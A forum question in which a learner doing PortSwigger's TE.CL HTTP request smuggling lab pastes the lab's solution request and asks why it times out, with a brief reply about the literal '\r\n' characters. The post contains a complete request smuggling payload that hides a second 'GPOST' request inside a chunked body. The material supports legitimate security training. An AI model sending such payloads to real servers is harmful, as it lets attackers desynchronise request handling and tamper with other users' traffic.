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Im trying to learn about http request smuggling and Im trying out the labs for burp suite. Im stuck on the TE.CL vulnerability, Ive clicked on the solution (see below:https://portswigger.net/web-security/request-smuggling/lab-basic-te-cl) but the request just times out. Ive disabled 'update content length' and changed out mylabid with the current lab id. Is there another setting I am missing?

POST / HTTP/1.1
Host: mylabid.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked

5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0\r\n\r\n
0

The "\r\n\r\n" words. It's like the image, it's interpreted, not written

enter image description here

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